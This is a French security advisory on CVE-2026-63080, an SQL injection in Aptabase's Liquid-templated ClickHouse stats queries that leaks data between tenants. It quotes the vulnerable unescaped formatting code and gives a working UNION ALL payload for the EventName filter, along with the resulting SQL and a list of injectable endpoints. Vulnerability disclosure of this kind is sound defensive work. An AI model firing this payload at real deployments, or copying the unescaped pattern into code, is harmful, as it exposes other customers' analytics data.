CVE-2026-63080 : Aptabase, injection SQL cross-tenant via les templates Liquid

CVE-2026-63080

Les filtres de stats d'Aptabase arrivent bruts dans du SQL ClickHouse : injection SQL et fuite de données entre tenants.

Aptabase est une solution d’analytics open source. Les statistiques de toutes les applications vivent dans une seule table ClickHouse events partagée, isolée uniquement par une colonne app_id. Les requêtes de stats sont des templates Liquid dans lesquels on interpole les filtres envoyés par l’utilisateur (EventName, CountryCode, OsName, DeviceModel, AppVersion).

Le problème : ces filtres sont collés dans le SQL sans le moindre échappement. La conversion des arguments (src/Features/Stats/ClickHouseQueryClient.cs) :

private string? FormatArg(object? value)
{
    return value switch
    {
        string[] s => string.Join("','", s),
        DateTime d => d.ToString("yyyy-MM-dd HH:mm:ss"),
        null => null,
        _ => $"{value}",   // la valeur est collée telle quelle, aucun échappement
    };
}

La valeur atterrit directement dans une chaîne SQL du template (etc/clickhouse/queries/top_n__v2.liquid) :

FROM events
PREWHERE app_id = '{{app_id}}'         -- seule barrière entre tenants
WHERE 1 = 1
...
AND event_name = '{{event_name}}'      -- input utilisateur, dans la chaîne SQL

Puis le rendu est exécuté comme du SQL brut :

var query = await template.RenderAsync(dict);
return await _conn.QueryAsync<T>(query, cancellationToken);   // SQL brut, non paramétré

Côté controller, ces cinq paramètres n’ont aucune validation (pas de [RegularExpression], rien), et le filtre d’autorisation HasReadAccessToApp ne contrôle que le paramètre AppId :

// src/Features/Stats/HasReadAccessToAppFilter.cs
var appId = context.HttpContext.Request.Query["AppId"].ToString();
var hasAccess = await db.HasReadAccessToApp(appId, user, ...);   // les filtres ne sont jamais vérifiés

Donc un simple ' dans EventName ferme la chaîne et laisse écrire du SQL arbitraire. Et comme tous les tenants partagent la table events, isolée seulement par PREWHERE app_id = '...', un UNION ALL ajoute un second SELECT sans filtre app_id et lit les données de tout le monde.

En envoyant ce EventName :

x' GROUP BY Name UNION ALL SELECT app_id as Name, count() as Value FROM events WHERE '1' = '1

le template produit ce SQL :

SELECT event_name as Name, count() as Value
FROM events
PREWHERE app_id = 'uUWTm8EnvEC1jgG6Fm8Cd7'          -- app de l'attaquant
WHERE 1 = 1
AND timestamp BETWEEN '2026-03-01 00:00:00' AND '2026-03-31 00:00:00'
AND event_name = 'x' GROUP BY Name                  -- la chaîne est fermée, le 1er SELECT aussi
UNION ALL
SELECT app_id as Name, count() as Value
FROM events WHERE '1' = '1'                          -- second SELECT, aucun filtre app_id
GROUP BY Name
ORDER BY Value DESC

Le '1' = '1' absorbe le guillemet de fermeture du template. Le second SELECT balaie toute la table : n’importe quel utilisateur authentifié (un compte gratuit, propriétaire d’au moins une app, suffit) peut énumérer les app_id des autres tenants, puis lire leurs noms d’events, leurs propriétés custom, etc. Sur les 15 endpoints /api/_stats/*, 13 sont injectables (seuls live-geo et live-sessions ne prennent que app_id), via 6 paramètres non validés : EventName, CountryCode, OsName, DeviceModel, AppVersion, et SessionId, ce dernier interpolé brut dans live_session_details__v1 et historical_sessions__v1 (AND session_id = '{{session_id}}').

Le vecteur concerne les déploiements self-hosted configurés avec ClickHouse (ClickHouseQueryClient, le backend par défaut) : c’est là que les templates Liquid sont rendus en SQL brut non paramétré. Le backend Tinybird (utilisé côté cloud managé) passe au contraire ces filtres comme paramètres de pipe côté serveur, et n’est pas affecté par cette injection.

Liens